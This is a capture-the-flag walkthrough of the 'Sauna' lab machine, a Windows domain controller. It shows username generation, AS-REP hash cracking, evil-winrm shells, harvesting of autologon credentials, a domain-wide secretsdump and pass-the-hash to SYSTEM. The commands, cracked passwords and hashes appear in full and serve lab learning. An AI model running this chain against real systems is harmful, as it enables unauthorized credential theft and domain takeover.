

# Sauna

First we check for a site with the domain because port 80 is open and we add the domain to /etc/hosts.

```
(kali㉿kali)-[~]
└─$ nmap -sC -sV -Pn -T5 10.10.10.175
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-11 18:50 EDT
Nmap scan report for 10.10.10.175
Host is up (0.074s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Simple DNS Plus
80/tcp    open  http           Microsoft IIS httpd 10.0
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-title: Egotistical Bank :: Home
|_ http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos (server time: 2023-08-12 05:50:23Z)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0.,
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0.,
3269/tcp  open  tcpwrapped
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-security-mode:
|_ 3:1:1:
|_ Message signing enabled and required
|_ smb2-time:
|_ date: 2023-08-12T05:50:30
|_ start_date: N/A
|_ clock-skew: 7h00m02s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.50 seconds
```

```
GNU nano 7.2
127.0.0.1      localhost
127.0.1.1      kali
::1           localhost ip6-localhost ip6-loopback
ff02::1       ip6-allnodes
ff02::2       ip6-allrouters
10.0.2.15     dc1.itsafe.co.il
10.0.2.10     ofek.itsafe.co.il
10.0.2.8      vtcsec
10.10.10.172  MEGABANK.LOCAL
10.10.11.222  authority.htb authority.htb.corp htb.corp
10.10.11.208  searcher.htb
10.10.10.239  staging.love.htb www.love.htb
10.10.10.175  EGOTISTICAL-BANK.LOCAL
```

After searching the site you can see a few employee names on the “about us” section.

10.10.10.175/about.html

Kali Linux

Kali Tools

Kali Docs

Kali Forums

Kali NetHunter

Exploit-DB

Google Hacking DB

OffSec

Repay

Home

About Us

Blogs

Dropdown

Contact Us

Apply Now

Small Business Loans  
For a Daily Expenses

Integer sit amet mattis quam, sit amet ultricies velit. Praesent ullamcorper dui turpis.Donec malesuada ex sit amet pretium sid ornare. Nulla congue scelerisque tellus, utpretium nulla malesuada sedint. Suspendisse venenatis

Personal Loan @ 10.75%

Repayable in 12 to 60 EMIs

Fergus Smith

Shaun Coins

Hugo Bear

Bowie Taylor

Sophie Driver

Steven Kerb

AMAZING

Meet The Team

“ Meet the team. So many bank account managers but only one security manager. Sounds about right!

Of course we list them in a file.

```
GNU nano 7.2
Fergus Smith
Hugo Bear
Steven Kerb
Shaun Coins
Bowie Taylor
Sophie Driver
```

username-anarchy takes a list of names and give you a list back with all kind of combinations that can be potential usernames.

```
(kali@kali)-[~/Desktop/Tools/username-anarchy]
$ ./username-anarchy --input-file /home/kali/Desktop/sauna_names.txt --select-format first,firstlast,fl,last,flast > user_names.txt
```

This is the result.

```
(kali@kali)-[~/Desktop]
$ cat user_names.txt
fergus
fergussmith
fsmith
smith
fs
hugo
hugobear
hbear
bear
hb
steven
stevenkerb
skerb
kerb
sk
shaun
shauncoins
scoins
coins
sc
bowie
bowietaylor
btaylor
taylor
bt
sophie
sophiedriver
sdriver
driver
sd
```





```

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:f839bb58bcc940052ebda9572727c705$03ddb27
232a0b93f5dc4b1c34bfc67eb1b6d1a5fefe1b0361d6733d0ae861483192ea73bb5657bc0730c080f89c
a12e202f38ab162b0e19df5473b962ba767c563e5404421aef1ab042d65bb573bbe3002848c7007e7dc1
9aaf18c20138ba38962e1b09da4888f786ac1def6ac13525193efd8b045a0010e26ab18ae60336fdece6
35a14c40b20a4e05913d482c8eb45fac8ced76bf8cdb19b3cc6a67f9252d71ddf88b1fbc1fa0ff0dd6ac
03e7e6f5c36d6df53e97e0cd841e5d0ab42c5e6aae62d96ed40fc81b6014c5987d6627749984c90c0373
135ba65e6b10503933782190a971aa62d48143ccf71ad7d56025e4741a4cf438e7168a584af3a7986fa9
8:Thestrokes23

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target.....: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:f839bb5 ... 86fa98
Time.Started.....: Fri Aug 11 19:16:50 2023, (17 secs)
Time.Estimated...: Fri Aug 11 19:17:07 2023, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 580.9 kH/s (0.63ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 10539008/14344385 (73.47%)
Rejected.....: 0/10539008 (0.00%)
Restore.Point....: 10538496/14344385 (73.47%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Thip1812 → Thelittlemermaid
Hardware.Mon.#1..: Util: 85%

Started: Fri Aug 11 19:15:55 2023
Stopped: Fri Aug 11 19:17:08 2023

```

Just to be sure I ran the password on all the usernames but got a positive respond only from fsmith.

```

(kali@kali)-[~]
$ crackmapexec smb 10.10.10.175 -u /home/kali/Desktop/user_names.txt -p Thestrokes23
SMB 10.10.10.175 445 SAUNA [+] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
SMB 10.10.10.175 445 SAUNA [-] EGOTISTICAL-BANK.LOCAL\fergus:Thestrokes23 STATUS_LOGON_FAILURE
SMB 10.10.10.175 445 SAUNA [-] EGOTISTICAL-BANK.LOCAL\fergussmith:Thestrokes23 STATUS_LOGON_FAILURE
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23

```



```

(kali㉿kali)-[~]
└─$ evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#remote-shell

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir

Directory: C:\Users\FSmith\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar-----         8/11/2023   10:49 PM             34 user.txt

```

I connect to fsmith and get the first flag.

```

*Evil-WinRM* PS C:\Users\FSmith\Desktop> upload winPEASany_ofs.exe

Info: Uploading /home/kali/winPEASany_ofs.exe to C:\Users\FSmith\Desktop\winPEASany_ofs.exe
Data: 2963456 bytes of 2963456 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir

Directory: C:\Users\FSmith\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar-----         8/11/2023   10:49 PM             34 user.txt
-a-----         8/12/2023   12:24 AM        2222592 winPEASany_ofs.exe

*Evil-WinRM* PS C:\Users\FSmith\Desktop> ./winPEASany_ofs.exe

```

To achieve privilege escalation, I downloaded a tool called WinPEASany, which searches Windows machines for various methods of privilege escalation.

```

C:\Users\Public
C:\Users\svc_loanmgr

ÉÉÉÉÉÉÉÉÉÉ· Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName      : EGOTISTICALBANK
DefaultUserName        : EGOTISTICALBANK\svc_loanmanager
DefaultPassword        : Moneymakestheworldgoround!

ÉÉÉÉÉÉÉÉÉÉ· Password Policies
È Check for a possible brute-force
Domain: Builtin
SID: S-1-5-32

```

And we found a password hidden between all the lines.

```
(kali㉿kali)-[~/.../PEASS-ng/winPEAS/winPEASexe/winPEAS]
$ evil-winrm -i 10.10.10.175 -u svc_loanmanager -p Moneymakestheworldgoround!

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
```

We can't use it on fsmith obviously but there is another user below fsmith at the directory.

```
*Evil-WinRM* PS C:\Users\FSmith\Desktop> cd ../../
*Evil-WinRM* PS C:\Users> dir

Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -
d-----         1/25/2020   1:05 PM      Administrator
d-----         1/23/2020   9:52 AM      FSmith
d-r-----       1/22/2020   9:32 PM      Public
d-----         1/24/2020   4:05 PM      svc_loanmgr
```

And our new user and password matches.

```
(kali㉿kali)-[~]
$ evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop> dir
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop>
```

There is no new information.

```
(kali㉿kali)-[~/.../PEASS-ng/winPEAS/winPEASexe/winPEAS]
$ impacket-secretsdump svc_loanmgr:Moneymakestheworldgoround\!@EGOTISTICAL-BANK.LOCAL
```

But this user have more permissions than fsmith, We can use secretsdump and see every user's ntlm.



```

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c :::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd :::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd :::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c :::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:a95d2ff29c8e40519963cd334d4ee8c3 :::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:b44881f98f9f4b79759fb8ddfff0af1aa421a2bee244196b0128a7a5e082cb53
SAUNA$:aes128-cts-hmac-sha1-96:5274a8761af73aee87175b984a7e4432
SAUNA$:des-cbc-md5:e9cb29972c6e9223
[*] Cleaning up...

```

We take the administrator's ntlm and connect to it.



```
(kali@kali)-[~/PEASS-ng/winPEAS/winPEASexe/winPEAS]
$ impacket-psexec administrator@10.10.10.175 -hashes :823452073d75b9d1cf70ebdf86c7f98e
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file iSjXxBj.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service GuBI on 10.10.10.175.....
[*] Starting service GuBI.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> cd ../../..

C:\> dir
Volume in drive C has no label.
Volume Serial Number is 489C-D8FC

Directory of C:\

01/23/2020  09:48 AM    <DIR>          inetpub
09/15/2018  12:19 AM    <DIR>          PerfLogs
07/13/2021  10:54 AM    <DIR>          Program Files
01/23/2020  04:11 PM    <DIR>          Program Files (x86)
01/24/2020  05:05 PM    <DIR>          Users
08/12/2023  12:40 AM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  7,834,689,536 bytes free

C:\> cd Users/Administrator

C:\Users\Administrator> cd Desktop

C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 489C-D8FC

Directory of C:\Users\Administrator\Desktop

07/14/2021  03:35 PM    <DIR>          .
07/14/2021  03:35 PM    <DIR>          ..
08/11/2023  10:49 PM              34 root.txt
               1 File(s)              34 bytes
               2 Dir(s)  7,834,689,536 bytes free
```